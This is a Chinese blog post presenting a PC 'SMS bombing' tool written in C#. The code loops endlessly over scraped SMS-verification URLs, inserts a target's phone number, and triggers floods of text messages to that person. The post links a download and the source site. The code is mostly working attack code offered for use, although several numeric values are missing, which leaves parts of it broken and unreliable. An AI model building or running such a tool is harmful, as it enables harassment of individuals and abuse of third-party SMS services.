前言

  之前用过android版短信轰炸的apk,于是想反编apk查看源码找短信接口,做一个PC版本的,不料反编失败。后不了了之...

  昨日逛论坛时无意中看到一个网站有此功能,打开一试究竟,效果可以,于是立即把这个功能调用的所有url拷贝下来,做了一个简易版。

  效果图:

  

正文

  短信接口地址:链接(接口地址不是特别多,测试最多接收几十条短信,每个地址之间已经用@分开,连接中的 手机号 三个就是要轰炸人的手机号)

  原理:循环每一个链接,发送get请求,返回结果。(被轰人接收短信的数量跟他在各个网站账号中使用自己手机号的次数成正比)
  问题:结果的显示不是很准确,暂时没有办法判断被轰人是否已接受短信。
  直接贴代码:
  

private delegate void DelegateFun(object obj);
private Thread thread = null;
/// <summary>
/// 发送
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnSend_Click(object sender, EventArgs e)
{
if (thread != null)
{
thread.Abort();
}
txtResult.Text = "";
if (!CheckData())
{
return;
} thread = new Thread(new ParameterizedThreadStart(CrossThreadFlush));
thread.IsBackground = true;
thread.Start(txtPhoneID.Text.Trim());
}
/// <summary>
/// 停止
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnStop_Click(object sender, EventArgs e)
{
if (thread != null)
{
thread.Abort();
}
}
/// <summary>
/// 退出
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnExit_Click(object sender, EventArgs e)
{
Application.Exit();
}
/// <summary>
/// 线程
/// </summary>
/// <param name="phoneID"></param>
private void CrossThreadFlush(object phoneID)
{
while (true)
{
//将sleep和无限循环放在等待异步的外面
Thread.Sleep();
ThreadFunction(phoneID);
}
}
/// <summary>
/// 线程
/// </summary>
/// <param name="phoneID"></param>
private void ThreadFunction(object phoneID)
{
SendRequest(phoneID);
}
private void DelegateSetValue(object resultIndex)
{
if (resultIndex == null || resultIndex.ToString() == "")
{
return;
}
string[] resArray = resultIndex.ToString().Split(',');
StringBuilder sbResult = new StringBuilder("");
sbResult.AppendFormat("成功 {0} 次\r\n", resArray[]);
sbResult.AppendFormat("不确定 {0} 次\r\n", resArray[]);
sbResult.AppendFormat("失败数 {0} 次\r\n", resArray[]);
int total = Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]);
sbResult.AppendFormat("共轰击 {0} 次\r\n", total);
this.txtResult.Text = sbResult.ToString();
} private void SendRequest(object phoneID)
{
string url = GetUrl();
int successIndex = ;//成功条数
int nullIndex = ;//不确定条数
int failIndex = ;//失败条数
string[] arrStr = url.Split('@'); foreach (var item in arrStr)
{
if (string.IsNullOrEmpty(item))
{
continue;
}
try
{
string urlLast = item.Replace("\r\n", "").Replace("手机号", phoneID.ToString());
string result = PostDataToUrl("", urlLast);
if (!string.IsNullOrEmpty(result))
{
if (txtResult.InvokeRequired)
{
successIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
}
else
{
if (txtResult.InvokeRequired)
{
nullIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
}
}
catch (Exception)
{
if (txtResult.InvokeRequired)
{
failIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
continue;
}
}
}
/// <summary>
/// 发送get请求
/// </summary>
/// <param name="postDataStr"></param>
/// <param name="Url"></param>
/// <returns></returns>
private string PostDataToUrl(string postDataStr, string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (postDataStr == "" ? "" : "?") + postDataStr); request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream myResponseStream = response.GetResponseStream();
StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
myResponseStream.Close(); return retString;
}
/// <summary>
/// 数据校验
/// </summary>
/// <returns></returns>
private bool CheckData()
{ if (string.IsNullOrEmpty(txtPhoneID.Text.Trim()))
{
txtPhoneID.Focus();
errorProPhone.SetError(txtPhoneID, "输入手机号");
return false;
}
else
{
errorProPhone.Clear();
}
return true;
}
/// <summary>
/// 获取短信接口
/// </summary>
/// <returns></returns>
private string GetUrl()
{
string url = @"短信接口地址(附件中链接贴过来)";
return url;
}

  应用下载:轰死人补偿命

  附 原地址:http://www.zhasini.ml/

短信轰炸PC版的更多相关文章

  1. 使用python进行短信轰炸

    本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...

  2. 关于前端XSS攻击、短信轰炸等问题

    关于前端的XSS攻击: 这里有一篇Ryf老师的写的关于使用  Content Security Policy (简称 CSP 防御)来防御xss攻击,简单来说就是设置白名单,告诉浏览器哪些链接.内容是 ...

  3. 手把手教你实现"短信轰炸"

    手把手教你实现"短信轰炸" 我这里采用简单易懂的语言--"Python3"来实现   实现前的准备:             1,电脑,谷歌浏览器 2,pyth ...

  4. 挖穿各大SRC的短信轰炸

    今天给大家分享一个短信轰炸绕过的姿势,大疆.百度.腾讯等等src都有用此方法绕过的案例. 给大家看一下 这里就不给大家截图了,在src中提交的截图都没有打码,这里放出来不太方便. 这里就只举出大疆的例 ...

  5. 腾讯云短信SDK-精简版

    /** * 腾讯云短信SDK-精简版 * 本模块使用-向腾讯云短信服务器发送请求 * @return json 腾讯服务器返回值-json字符串 */ private function send_sm ...

  6. 遇到短信轰炸,别人换ip调你的短信接口怎么办

    前端开发者很容易暴露自己的请求地址和参数,我们都知道,一个h5页面,按 F12 是可以看到页面的源码的,所以经常很多人会利用这一点恶意调取别人的接口. 我们公司出现了好多次短信接口被大量调用,导致一天 ...

  7. 腾讯短信服务精简版(PHP )

    短信视乎已经被慢慢淡出平常的交流工具队列,但始终抹不去它的存在,短信验证码视乎从未被取代,此外在重要的信息通知的地位也是不可取的的.所以了解短信的使用是开发中很有必要的一环. 腾讯云的短信服务提供有1 ...

  8. 阿里云短信服务Java版

    短信服务管理平台 https://dysms.console.aliyun.com/dysms.htm java短信发送API    https://help.aliyun.com/document_ ...

  9. 利用阿里大于实现发送短信(JAVA版)

    本文是我自己的亲身实践得来,喜欢的朋 友别忘了点个赞哦! 最近整理了一下利用阿里大于短信平台来实现发送短信功能. 闲话不多说,直接开始吧. 首先,要明白利用大于发送短信这件事是由两部分组成: 一.在阿 ...

随机推荐

  1. [原创]java WEB学习笔记66:Struts2 学习之路--Struts的CRUD操作( 查看 / 删除/ 添加) 使用 paramsPrepareParamsStack 重构代码 ,PrepareInterceptor拦截器,paramsPrepareParamsStack 拦截器栈

    本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...

  2. [转]JAVA程序员一定知道的优秀第三方库(2016版)

    原文地址:http://blog.csdn.net/zxc123e/article/details/51418163 几乎每个程序员都知道要“避免重复发明轮子”的道理——尽可能使用那些优秀的第三方框架 ...

  3. Java基础(49):快速排序的Java封装(含原理,完整可运行,结合VisualGo网站更好理解)

    快速排序 对冒泡排序的一种改进,若初始记录序列按关键字有序或基本有序,蜕化为冒泡排序.使用的是递归原理,在所有同数量级O(n longn) 的排序方法中,其平均性能最好.就平均时间而言,是目前被认为最 ...

  4. 外部按键 控制 LED 中断 (参考 http://www.oschina.net/question/565065_115196?sort=time )

    转帖: http://www.oschina.net/question/565065_115196?sort=time 实验目的: mini2440开发板上有6个按键,将其中的前4个按键设为外部中断方 ...

  5. 如何把Eclipse工程import Exprot到Android Studio

    http://jingyan.baidu.com/article/b87fe19e9e209f5218356808.html

  6. python入门语法总结 zz

    http://renjie120.iteye.com/blog/680126 1.python是一个解释性语言: 一个用编译性语言比如C或C++写的程序可以从源文件(即C或C++语言)转换到一个你的计 ...

  7. hadoop自带例子wordcount的具体运行步骤

    1.在hadoop所在目录“usr/local”下创建一个文件夹input root@ubuntu:/usr/local# mkdir input 2.在文件夹input中创建两个文本文件file1. ...

  8. sql 循环语句几种方式

    --第一   declare @orderNum varchar(255) create table #ttableName(id int identity(1,1),Orders varchar(2 ...

  9. phabricator

    (1)安装./bitnami-phabricator-20160523-0-linux-x64-installer.run (2)中文phabricator-zh_CN.tar解压缩到/opt/pha ...

  10. V4L2应用程序框架--一【转】

    本文转载自:http://blog.csdn.net/tommy_wxie/article/details/11369667 V4L2是V4L的升级版本,linux下视频设备程序提供了一套接口规范. ...